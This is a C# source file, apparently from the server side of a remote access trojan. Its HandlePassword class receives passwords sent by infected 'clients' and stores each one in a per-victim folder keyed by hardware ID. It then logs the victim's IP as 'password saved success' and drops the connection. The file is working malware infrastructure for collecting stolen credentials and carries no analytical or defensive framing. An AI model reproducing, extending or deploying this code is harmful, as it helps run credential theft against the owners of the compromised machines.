32 lines
1.0 KiB
C#
32 lines
1.0 KiB
C#
using System;
|
||
using System.Drawing;
|
||
using System.IO;
|
||
using System.Windows.Forms;
|
||
using MessagePackLib.MessagePack;
|
||
using Server.Connection;
|
||
|
||
namespace Server.Handle_Packet;
|
||
|
||
internal class HandlePassword
|
||
{
|
||
public void SavePassword(Clients client, MsgPack unpack_msgpack)
|
||
{
|
||
try
|
||
{
|
||
string asString = unpack_msgpack.ForcePathObject("Password").GetAsString();
|
||
string text = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Password");
|
||
if (!Directory.Exists(text))
|
||
{
|
||
Directory.CreateDirectory(text);
|
||
}
|
||
File.WriteAllText(text + $"\\Password_{DateTime.Now:MM-dd-yyyy HH;mm;ss}.txt", asString);
|
||
new HandleLogs().Addmsg("Client " + client.Ip + " password saved success,file located @ ClientsFolder/" + unpack_msgpack.ForcePathObject("Hwid").AsString + "/Password", Color.Purple);
|
||
client.Disconnected();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
new HandleLogs().Addmsg("Password saved error: " + ex.Message, Color.Red);
|
||
}
|
||
}
|
||
}
|